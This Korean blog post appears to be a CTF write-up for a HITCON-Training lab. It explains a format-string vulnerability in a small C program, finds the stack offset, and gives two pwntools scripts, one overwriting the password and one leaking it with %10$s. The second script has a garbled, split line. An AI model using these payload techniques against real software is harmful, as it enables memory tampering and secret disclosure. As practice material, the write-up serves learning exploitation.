끈질기게 물고늘어져 겨우 풀이를 이해한 CodeByO입니다. 이렇게 문제푸는데 전력을 다하니 좋기도 하고 자괴감도 많이 드네요ㅋㅋㅋㅋ


새해를 맞이하며 기록을 시작하도록 하겠습니다.

1.분석


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <stdlib.h>
 
unsigned int password ;
 
int main(){
 
        setvbuf(stdout,0,2,0);
        char buf[100];
        char input[16];
        int fd ;
        srand(time(NULL));
        fd = open("/dev/urandom",0);
        read(fd,&password,4);
        printf("What your name ? ");
        read(0,buf,99);
        printf("Hello ,");
        printf(buf);
        printf("Your password :");
        read(0,input,15);
        if(atoi(input) != password){
                puts("Goodbyte");
        }else{
                puts("Congrt!!");
                system("cat /home/crack/flag");
        }
}
 
cs


주어진 소스코드를 살펴보면 일단 오버플로우 나는것도 없는거 같고 있다고 해도



까나리나 NX가 걸려있어 오버플로우는 아니라는걸 확신할 수 있으며 이번 문제는 포맷 스트링을 이용해 익스 플로잇을 할 수 있냐 없냐를 물어보는 문제인거 같습니다.


2.풀이


이제 자세히 소스코드를 보면 20번 줄에 printf(buf); 부분이 있는데요. 포맷 스트링 취약점의 개념을 접해보신 분들이라면 바로 여기에서 취약점이


발생한다고 아실겁니다.


그리고 저희는 password값을 알아내서 input 변수에 넣어줘야되는 상황이니 아무런 쓸모도 없을 수 있는 이 취약점을 아주 잘 요리할 수 있죠.


푸는 방법은 2가지가 있습니다.


1. password 값을 우리가 원하는 값으로 변경시켜 그 값을 input에 집어 넣는다.


2. password 값을 직접 알아내서 그 값을 input에 넣는다.


등등..일단 제가 소개 시켜드릴 방법은 이 두가지 입니다.

(첫번째 방식을 원래 포스팅 할려고 했으나 갓갓인 친구가 어려운 포맷 스트링 문제에선 안먹힌다고 해서 두가지 전부 설명드릴 예정입니다.)


일단 두 가지 방법을 모두 시행하기 위해서 필수적으로 알아야하는 값이 있습니다.


바로 OFFSET인데요.


포맷 스트링을 넣어 buf가 실제 스택에 어디있냐를 알아야 정확히 값을 씌우거나 그 값을 불러올 수 있습니다.


구하는 방법은 매우 간단한데요.



소스 크기도 적어서 그냥 실행 하고 buf 에 AAAA를 집어 넣은다음 %8x를 12번 정도 입력하니 10번째에서 A의 아스키코드인 41이 출력되는걸 확인할 수 있습니다.


결론은 offset 값은 10라는 거죠.


이제 pwntools에 fmtstr_payload 함수를 이용해(사용 방법은 http://docs.pwntools.com/en/stable/fmtstr.html 참고)


1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = 'debug'
cn = process('./crack')
p_pwd = 0x0804A048
fmt_len = 10
cn.recv()
pay = fmtstr_payload(fmt_len,{p_pwd:1})
cn.sendline(pay)
cn.recv()
cn.sendline('1')
cn.recv()
cn.recv()
cs


password 값을 1로 바꿔 input에 1을 보내면서 우회할 수 있고


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
 
 
proc = process("./crack")
 
password_addr = 0x804a048
proc.recvuntil("?")
 
 
proc.sendline(p32(password_addr) + "#" + "%10$s" + "#" )
proc.recvuntil("#")
= proc


.recvuntil("#")
password = u32(p[:4])
proc.recvuntil(":")
proc.sendline(str(password))
proc.interactive()
 
cs


buf에 password 주소를 넣고 %10$s을 이용해 바로 10번째 자리에 있는 값을 불러와서 보내줍니다.


페이로드를 해석해보면 그냥 %10$s를 이용해 바로 10칸뒤에 값을 가져오며


소스코드에서 read(fd,password,4)로 4바이트만 저장됬으니 #을 경계점으로 p[ :4]를 이용해 쉽게 password값을 읽어왔습니다.


이걸 문자열로 input에 보내면?



깔끔하게 성공~!

'포너블 > HITCON-Training' 카테고리의 다른 글

HITCON-Training lab5  (0) 2017.12.31
HICON-Training lab1  (0) 2017.12.17
HICON-Training lab3  (0) 2017.11.29

+ Recent posts